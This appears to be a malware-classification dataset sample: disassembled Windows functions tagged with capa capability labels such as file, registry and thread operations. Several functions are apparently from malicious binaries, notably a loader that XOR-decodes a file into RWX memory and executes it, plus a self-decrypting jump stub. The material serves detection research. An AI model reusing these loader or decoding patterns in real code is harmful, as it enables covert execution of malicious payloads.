joyce8/EMBER2024-capa huggingface dataset:
Function at 0x78afea37
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x78afea5e
call sym.MSVCR100.dll___doserrno
mov dword [eax], esi
call sym.MSVCR100.dll__errno
push 0x16
pop esi
mov dword [eax], esi
call sym.MSVCR100.dll__invalid_parameter_noinfo
mov eax, esi
jmp 0x78afeab3
test dword [ebp + 0xc], 0xfffffff9
jne 0x78afea44
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x78afea8b
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call fcn.78b4b5dd
pop ecx
call sym.MSVCR100.dll__errno
mov eax, dword [eax]
jmp 0x78afeab3
test al, 0x10
jne 0x78afeab1
test al, 1
je 0x78afeab1
test byte [ebp + 0xc], 2
je 0x78afeab1
call sym.MSVCR100.dll___doserrno
mov dword [eax], 5
call sym.MSVCR100.dll__errno
mov dword [eax], 0xd
jmp 0x78afea82
xor eax, eax
pop esi
pop ebp
ret

Function at 0x78afeace
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
jne 0x78afeaf6
call sym.MSVCR100.dll___doserrno
and dword [eax], 0
call sym.MSVCR100.dll__errno
mov dword [eax], 0x16
call sym.MSVCR100.dll__invalid_parameter_noinfo
or eax, 0xffffffff
pop ebp
ret
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x78afeb13
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call fcn.78b4b5dd
pop ecx
jmp 0x78afeaf1
test byte [ebp + 0xc], 0x80
je 0x78afeb1e
and eax, 0xfffffffe
jmp 0x78afeb21
or eax, 1
push eax
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
test eax, eax
je 0x78afeb04
xor eax, eax
pop ebp
ret

Function at 0x78b0048f
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
jne 0x78b004b7
call sym.MSVCR100.dll___doserrno
and dword [eax], 0
call sym.MSVCR100.dll__errno
mov dword [eax], 0x16
call sym.MSVCR100.dll__invalid_parameter_noinfo
or eax, 0xffffffff
pop ebp
ret
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x78b004d4
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call fcn.78b4b5dd
pop ecx
jmp 0x78b004b2
test byte [ebp + 0xc], 0x80
je 0x78b004df
and eax, 0xfffffffe
jmp 0x78b004e2
or eax, 1
push eax
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
test eax, eax
je 0x78b004c5
xor eax, eax
pop ebp
ret
Function at 0x78b2c097
Capabilities:
Terminate process

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x78b576b8], eax
mov dword [0x78b576b4], ecx
mov dword [0x78b576b0], edx
mov dword [0x78b576ac], ebx
mov dword [0x78b576a8], esi
mov dword [0x78b576a4], edi
mov word [0x78b576d0], ss
mov word [0x78b576c4], cs
mov word [0x78b576a0], ds
mov word [0x78b5769c], es
mov word [0x78b57698], fs
mov word [0x78b57694], gs
pushfd
pop dword [0x78b576c8]
mov eax, dword [ebp]
mov dword [0x78b576bc], eax
mov eax, dword [ebp + 4]
mov dword [0x78b576c0], eax
lea eax, [ebp + 8]
mov dword [0x78b576cc], eax
mov eax, dword [ebp - 0x320]
mov dword [0x78b57608], 0x10001
mov eax, dword [0x78b576c0]
mov dword [0x78b575bc], eax
mov dword [0x78b575b0], 0xc0000409
mov dword [0x78b575b4], 1
mov eax, dword [0x78b53610]
mov dword [ebp - 0x328], eax
mov eax, dword [0x78b54440]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x78b57600], eax
push 1
call sym.MSVCR100.dll__crt_debugger_hook
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x78b2c198
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x78b57600], 0
jne 0x78b2c183
push 1
call sym.MSVCR100.dll__crt_debugger_hook
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Move file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push 0x6f
pop eax
push 0x70
mov word [ebp - 0xc], ax
pop eax
push 0x65
mov word [ebp - 0xa], ax
pop eax
mov word [ebp - 8], ax
push 0x6e
pop eax
mov word [ebp - 6], ax
xor eax, eax
mov word [ebp - 4], ax
xor ebx, ebx
movzx ecx, word [eax + 0x10002030]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, bx
jne 0x1000117a
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push str.fadfafafasf
push str.fasdfaf
mov esi, eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
push 1
push ebx
push ebx
push 0x1000208c
lea eax, [ebp - 0xc]
push eax
push ebx
call esi
mov edi, 0x10003028
sub edi, 2
mov ax, word [edi + 2]
add edi, 2
cmp ax, bx
jne 0x100011d3
push 0x40
mov ebx, pe_overlay
mov esi, 0x10002090
push ebx
movsd dword es:[edi], dword [esi]
push ebx
push 0
movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
mov eax, 0x10003028
lea edi, [eax - 2]
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x10001204
mov esi, str.top.ini
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
pop edi
cmp eax, 0xffffffff
je 0x1000127a
push esi
push 0x10003020
push ebx
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003018]
movzx ecx, byte [eax]
xor ecx, 0x4e
cmp dword [0x10003020], esi
jbe 0x10001278
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003020]
jb 0x10001264
call eax
pop esi
pop ebx
leave
ret 0x10

Function at 0x41d82a
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x4af050
push eax
push dword fs:[0]
mov dword fs:[0], esp
xor eax, eax
mov dword [eax], ecx
push eax
inc ebp
inc ebx
outsd dx, dword [esi]
ror byte [ecx + 0x43455008], 0x6f
insd dword es:[edi], dx
jo 0x41d8aa
arpl word [edx + esi], si
pop edi
das
lcall 0x5cc7, 0x49981d72
lodsd eax, dword [esi]
invalid
push eax
pop edx
call 0xf8ef8ce5
leave
std
adc edx, edx
jae 0x41d83f
dec esp
cmpsb byte [esi], byte es:[edi]
mov dword [esi], ebp
rcr edx, cl
and byte [ecx], al
dec eax
push edx
sbb al, 0xb7
dec edx
enter 0x5096, 0xffffffffffffffc9
sbb al, 0x28
xchg esp, eax
dec edi
fadd dword [esi - 0x521f6eb3]
and eax, edi
enter 0x6cb9, 0x78
inc eax
jae 0x41d8f1
invalid
adc al, 0x95
sub eax, 0xa069f402
arpl word [eax + 0x5a], cx
lcall 0x516a, 0xac8b5ab6
sar byte [edx + 0x34], 0x1a
xor al, 0x1a
std
pop ebp
pushal
je 0x41d904
mov byte [0xa434d03e], al
mov esp, 0x1e3ab214
in eax, dx
jp 0x41d90c
cmp byte [ecx - 0x2fd61aa8], dl
push cs
xchg edx, eax
sub al, 0x77
call 0x996e1582
adc byte [eax + ecx*2 - 4], al
or byte [edx + edi + 0x6c4e49e2], dl
invalid
Function at 0x401b74
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov eax, 0x42ddfb
call fcn.004279d0
push ecx
push ebx
push esi
mov esi, ecx
xor ebx, ebx
mov dword [ebp - 0x10], esi
lea ecx, [esi + 0x18]
mov byte [esi + 8], bl
mov dword [esi + 0xc], ebx
mov dword [esi + 0x14], ebx
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esi + 0x1c]
mov dword [ebp - 4], ebx
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esi + 0x20]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esi + 0x2c]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esi + 0x30]
mov byte [ebp - 4], 3
call sub.MFC42.DLL_CString::CString_2
or dword [esi + 0x100], 0xffffffff
lea ecx, [esi + 0x120]
fldz
mov byte [ebp - 4], 4
mov dword [esi + 0x34], ebx
fstp qword [esi + 0x108]
mov byte [esi + 0x38], bl
mov byte [esi + 0x39], bl
mov byte [esi + 0xf8], bl
mov dword [esi + 0xfc], ebx
mov dword [esi + 0x110], ebx
mov dword [esi + 0x114], ebx
mov dword [esi + 0x118], ebx
mov dword [esi + 0x11c], ebx
call sub.MFC42.DLL_CString::CString_2
mov ecx, dword [ebp - 0xc]
mov dword [esi], 0x432970
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x401d30
Capabilities:
Create thread
Resume thread

Disassembly:
mov eax, 0x42de60
call fcn.004279d0
push ebx
push esi
push edi
mov esi, ecx
mov ecx, dword [ebp + 0xc]
push 1
pop eax
and ecx, eax
cmp cl, al
jne 0x401d51
cmp dword [ebp + 0x10], 0
jne 0x401d53
xor eax, eax
test al, al
mov byte [esi + 0x39], al
je 0x401d65
push dword [ebp + 0x10]
lea ecx, [esi + 0x2c]
call sub.MFC42.DLL_CString::operator_2
mov eax, dword [ebp + 0x18]
lea ecx, [esi + 0x30]
mov dword [esi + 0x10], eax
mov eax, dword [ebp + 0xc]
and eax, 2
cmp al, 2
sete al
mov byte [esi + 0x38], al
call sub.MFC42.DLL_CString::Empty
mov eax, dword [ebp + 0xc]
push dword [ebp + 8]
and eax, 4
lea edi, [esi + 0x18]
cmp al, 4
mov ecx, edi
sete al
mov byte [esi + 0x3a], al
call sub.MFC42.DLL_CString::operator_2
mov eax, dword [ebp + 0x14]
lea ebx, [esi + 0x28]
and byte [esi + 8], 0
lea ecx, [esi + 0x20]
push ebx
push ecx
lea ecx, [esi + 0x1c]
mov dword [esi + 0xc], eax
mov eax, dword [edi]
lea edx, [esi + 0x24]
push ecx
push edx
push eax
call sub.MFC42.DLL_AfxParseURL
test eax, eax
jne 0x401e02
push edi
lea eax, [ebp + 0xc]
push str.http:__
push eax
call sub.MFC42.DLL_operator_2
and dword [ebp - 4], 0
push eax
mov ecx, edi
call sub.MFC42.DLL_CString::operator_1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xc]
call sub.MFC42.DLL_CString::CString
mov edi, dword [edi]
lea eax, [esi + 0x20]
push ebx
push eax
lea eax, [esi + 0x1c]
push eax
lea eax, [esi + 0x24]
push eax
push edi
call sub.MFC42.DLL_AfxParseURL
test eax, eax
je 0x401e6d
cmp dword [esi + 0x14], 0
jne 0x401e6d
mov eax, dword [esi + 0x11c]
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
lea edi, [esi + 0x11c]
test eax, eax
je 0x401e24
push eax
call ebx
and dword [edi], 0
mov eax, dword [esi + 0x118]
lea edi, [esi + 0x118]
test eax, eax
je 0x401e3a
push eax
call ebx
and dword [edi], 0
mov eax, dword [esi + 0x114]
lea edi, [esi + 0x114]
test eax, eax
je 0x401e50
push eax
call ebx
and dword [edi], 0
lea eax, [ebp + 0x10]
push eax
push 4
push esi
push 0x401e8b
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
test eax, eax
mov dword [esi + 0x14], eax
jne 0x401e71
xor al, al
jmp 0x401e7a
push eax
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
mov al, 1
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0x14
Function at 0x40550e
Capabilities:
Access peb ldr_data
Get process heap flags
Get process heap force flags

Disassembly:
mov eax, 0x42e381
call fcn.004279d0
push ecx
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x14], esi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x10], ebx
push 0xf003f
push str.softwareepk_extr
push SysReAllocString
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 0xb
call fcn.004013d7
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x40555c
cmp dword [ebp - 0x10], ebx
je 0x405569
push dword [ebp - 0x10]
call edi
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x10], ebx
je 0x405569
push dword [ebp - 0x10]
call edi
mov dword [ebp - 0x10], ebx
lea ecx, [esi + 0x38]
mov byte [ebp - 4], 9
call sub.MFC42.DLL_CString::CString
lea ecx, [esi + 0x34]
mov byte [ebp - 4], 8
call sub.MFC42.DLL_CString::CString
lea ecx, [esi + 0x30]
mov byte [ebp - 4], 7
call sub.MFC42.DLL_CString::CString
lea ecx, [esi + 0x2c]
mov byte [ebp - 4], 6
call sub.MFC42.DLL_CString::CString
lea ecx, [esi + 0x20]
mov byte [ebp - 4], 5
call sub.MFC42.DLL_CString::CString
lea ecx, [esi + 0x1c]
mov byte [ebp - 4], 4
call sub.MFC42.DLL_CString::CString
lea ecx, [esi + 0x18]
mov byte [ebp - 4], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [esi + 0x14]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esi + 0x10]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esi + 0xc]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
or dword [ebp - 4], 0xffffffff
lea ecx, [esi + 8]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x405639
Capabilities:
Query or enumerate registry value

Disassembly:
mov eax, 0x42e3a8
call fcn.004279d0
sub esp, 0x200
push esi
mov esi, ecx
mov ecx, dword [ebp + 8]
push edi
push 0x442544
call sub.MFC42.DLL_CString::operator_2
mov ecx, dword [esi + 0xc]
lea eax, [esi + 0xc]
xor edi, edi
mov ecx, dword [ecx - 8]
cmp ecx, edi
je 0x405677
mov ecx, dword [ebp + 8]
push eax
call sub.MFC42.DLL_CString::operator_1
jmp 0x405701
push 0x1f4
lea eax, [ebp - 0x20c]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x10], edi
push 0xf003f
push str.softwareepk_extr
push SysReAllocString
lea ecx, [ebp - 0x10]
mov dword [ebp - 4], edi
call fcn.004013d7
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x4056e8
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0x1f3
push eax
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x18]
push eax
push edi
push str.grpid
mov dword [ebp - 0x18], edi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp dword [ebp - 0x10], edi
je 0x4056e8
push dword [ebp - 0x10]
call esi
mov dword [ebp - 0x10], edi
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x20c]
push eax
call sub.MFC42.DLL_CString::operator_2
cmp dword [ebp - 0x10], edi
je 0x405701
push dword [ebp - 0x10]
call esi
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret 4
Function at 0x405745
Capabilities:
Query or enumerate registry value

Disassembly:
mov eax, 0x42e3d0
call fcn.004279d0
sub esp, 0x70
push esi
mov esi, ecx
mov ecx, dword [ebp + 8]
push edi
push 0x442544
call sub.MFC42.DLL_CString::operator_2
mov ecx, dword [esi + 0x10]
lea eax, [esi + 0x10]
xor edi, edi
mov ecx, dword [ecx - 8]
cmp ecx, edi
je 0x40577d
mov ecx, dword [ebp + 8]
push eax
call sub.MFC42.DLL_CString::operator_1
jmp 0x4057fb
push 0x64
lea eax, [ebp - 0x7c]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x10], edi
push 0xf003f
push str.softwareepk_extr
push SysReAllocString
lea ecx, [ebp - 0x10]
mov dword [ebp - 4], edi
call fcn.004013d7
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x4057e5
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0x63
push eax
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x18]
push eax
push edi
push str.bnrid
mov dword [ebp - 0x18], edi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp dword [ebp - 0x10], edi
je 0x4057e5
push dword [ebp - 0x10]
call esi
mov dword [ebp - 0x10], edi
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x7c]
push eax
call sub.MFC42.DLL_CString::operator_2
cmp dword [ebp - 0x10], edi
je 0x4057fb
push dword [ebp - 0x10]
call esi
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret 4

Function at 0x40583f
Capabilities:
Query or enumerate registry value

Disassembly:
mov eax, 0x42e3f8
call fcn.004279d0
sub esp, 0x70
push esi
mov esi, ecx
mov ecx, dword [ebp + 8]
push edi
push 0x442544
call sub.MFC42.DLL_CString::operator_2
mov ecx, dword [esi + 0x14]
lea eax, [esi + 0x14]
xor edi, edi
mov ecx, dword [ecx - 8]
cmp ecx, edi
je 0x405877
mov ecx, dword [ebp + 8]
push eax
call sub.MFC42.DLL_CString::operator_1
jmp 0x4058f5
push 0x64
lea eax, [ebp - 0x7c]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x10], edi
push 0xf003f
push str.softwareepk_extr
push SysReAllocString
lea ecx, [ebp - 0x10]
mov dword [ebp - 4], edi
call fcn.004013d7
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x4058df
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0x63
push eax
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x18]
push eax
push edi
push str.nums
mov dword [ebp - 0x18], edi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp dword [ebp - 0x10], edi
je 0x4058df
push dword [ebp - 0x10]
call esi
mov dword [ebp - 0x10], edi
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x7c]
push eax
call sub.MFC42.DLL_CString::operator_2
cmp dword [ebp - 0x10], edi
je 0x4058f5
push dword [ebp - 0x10]
call esi
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret 4
Function at 0x405ff8
Capabilities:
Delete registry value

Disassembly:
mov eax, 0x42e480
call fcn.004279d0
sub esp, 0xc
push ebx
push esi
mov esi, ecx
push edi
xor ebx, ebx
lea edi, [esi + 0x30]
mov byte [ebp - 0xd], bl
mov ecx, edi
call sub.MFC42.DLL_CString::Empty
lea ecx, [esi + 0x34]
call sub.MFC42.DLL_CString::Empty
lea ecx, [esi + 0x38]
call sub.MFC42.DLL_CString::Empty
push edi
mov ecx, esi
call fcn.0040583f
lea eax, [esi + 0x34]
mov ecx, esi
push eax
call fcn.00405639
lea eax, [esi + 0x38]
mov ecx, esi
push eax
call fcn.00405745
mov dword [ebp - 0x14], ebx
lea eax, [ebp + 8]
mov dword [ebp - 4], ebx
push eax
lea eax, [ebp - 0x18]
push eax
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x18], ebx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
cmp eax, ebx
jne 0x406126
xor eax, eax
cmp dword [ebp - 0x14], ebx
je 0x406087
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x18]
cmp eax, ebx
mov dword [ebp - 0x14], ecx
jne 0x406126
mov eax, dword [edi]
cmp dword [eax - 8], ebx
jne 0x4060ac
mov eax, dword [esi + 0x38]
cmp dword [eax - 8], ebx
jne 0x4060ac
mov eax, dword [esi + 0x34]
cmp dword [eax - 8], ebx
je 0x4060ce
mov edi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push str.nums
push ecx
call edi
push str.grpid
push dword [ebp - 0x14]
call edi
push str.bnrid
push dword [ebp - 0x14]
call edi
push ebx
lea edi, [esi + 0x30]
push str.nums
lea eax, [ebp - 0x14]
push edi
push eax
mov ecx, esi
call fcn.00406187
push dword [ebp + 0xc]
lea eax, [esi + 0x34]
mov ecx, esi
push str.grpid
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.00406187
push dword [ebp + 0x10]
lea eax, [esi + 0x38]
mov ecx, esi
push str.bnrid
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.00406187
cmp dword [ebp - 0x14], ebx
je 0x406122
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x14], ebx
mov byte [ebp - 0xd], 1
push ecx
lea eax, [esi + 0x34]
mov ecx, esp
mov dword [ebp + 8], esp
push eax
call fcn.004275c6
mov ecx, esi
call fcn.00405605
push ecx
lea eax, [esi + 0x38]
mov ecx, esp
mov dword [ebp + 8], esp
push eax
call fcn.004275c6
mov ecx, esi
call fcn.00405711
push ecx
mov ecx, esp
mov dword [ebp + 8], esp
push edi
call fcn.004275c6
mov ecx, esi
call fcn.0040580b
cmp dword [ebp - 0x14], ebx
je 0x406173
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
mov al, byte [ebp - 0xd]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret 0xc
Function at 0x406187
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push esi
mov esi, dword [ebp + 0xc]
xor ebx, ebx
mov dword [ebp - 4], 0x104
push edi
mov eax, dword [esi]
mov edi, dword [ebp + 8]
cmp dword [eax - 8], ebx
jne 0x4061ef
lea eax, [ebp - 4]
mov dword [ebp + 0xc], ebx
push eax
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp + 0xc]
push eax
push ebx
push dword [ebp + 0x10]
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4061d9
lea eax, [ebp - 0x108]
mov ecx, esi
push eax
call sub.MFC42.DLL_CString::operator_2
cmp dword [ebp + 0x14], ebx
je 0x4061ef
mov eax, dword [esi]
cmp dword [eax - 8], ebx
jne 0x4061ef
push dword [ebp + 0x14]
mov ecx, esi
call sub.MFC42.DLL_CString::operator_2
mov esi, dword [esi]
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
inc eax
push eax
push esi
push 1
push ebx
push dword [ebp + 0x10]
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x407e6f
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0x24
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov dword [esp + 4], eax
xor eax, eax
cmp dword [esp + 0x28], eax
mov dword [esp], eax
je 0x407e90
mov dword [esp], 1
push ebx
push ebp
push esi
mov ebp, 0x1ff
push edi
push ebp
push dword [esp + 0x40]
mov edi, dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
push eax
push dword [esp + 0x44]
push dword [esp + 0x20]
call edi
mov esi, eax
mov ebx, 0x102
cmp esi, ebx
je 0x407f17
xor eax, eax
push 1
push eax
push eax
push eax
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x407ee8
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x407eba
cmp dword [esp + 0x40], 1
jne 0x407f17
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
sub eax, dword [esp + 0x14]
cmp eax, dword [esp + 0x3c]
jae 0x407f17
mov ecx, dword [esp + 0x3c]
push ebp
sub ecx, eax
push ecx
push 0
push dword [esp + 0x44]
push dword [esp + 0x20]
call edi
mov esi, eax
jmp 0x407eb6
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret

Function at 0x40836b
Capabilities:
Create directory
Print debug messages

Disassembly:
sub esp, 0x104
push ebp
push esi
push str.CEGTools::CreateDirectory___entered_n
call dword [sym.imp.KERNEL32.DLL_OutputDebugStringA]
mov esi, dword [esp + 0x110]
test esi, esi
je 0x4083e4
mov ebp, dword [sym.imp.KERNEL32.DLL_lstrlenA]
push esi
call ebp
cmp eax, 0x104
jge 0x4083e4
cmp byte [esi], 0
je 0x4083e4
push ebx
push edi
push 3
pop edi
push esi
call ebp
mov ebx, dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
cmp eax, edi
jle 0x4083d8
cmp byte [edi + esi], 0x5c
jne 0x4083d0
lea eax, [esp + 0x10]
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
and byte [esp + edi + 0x11], 0
lea eax, [esp + 0x10]
push 0
push eax
call ebx
push esi
inc edi
call ebp
cmp edi, eax
jl 0x4083b0
push 0
push esi
call ebx
push 1
pop eax
pop edi
pop ebx
jmp 0x4083e6
xor eax, eax
pop esi
pop ebp
add esp, 0x104
ret

Function at 0x409114
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push dword [ebp + 8]
xor esi, esi
push esi
push 4
call dword [sym.imp.KERNEL32.DLL_OpenFileMappingA]
mov ebx, eax
cmp ebx, esi
jne 0x409131
xor eax, eax
jmp 0x409176
push edi
push esi
push esi
push esi
push 4
push ebx
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
cmp eax, esi
je 0x40916b
mov edi, dword [eax]
push eax
call dword [sym.imp.KERNEL32.DLL_UnmapViewOfFile]
push edi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x40916b
cmp dword [ebp + 0xc], esi
je 0x40916b
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push edi
call dword [sym.imp.USER32.dll_PostMessageA]
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 1
pop eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x409223
Capabilities:
Get common file path

Disassembly:
mov eax, 0x42e8ff
call fcn.004279d0
sub esp, 0x110
and dword [ebp - 0x18], 0
cmp byte [0x442598], 0
jne 0x409245
call fcn.004091b5
push ebx
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::CString_2
push 1
lea eax, [ebp - 0x11c]
pop ebx
push eax
push 0x104
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.DLL_GetCurrentDirectoryA]
lea eax, [ebp - 0x11c]
lea ecx, [ebp - 0x10]
push eax
call sub.MFC42.DLL_CString::CString_1
push 0x43e078
push eax
push dword [ebp + 8]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_operator_1
mov dword [ebp - 0x18], ebx
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
and byte [ebp - 4], 0
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop ebx
mov dword fs:[0], ecx
leave
ret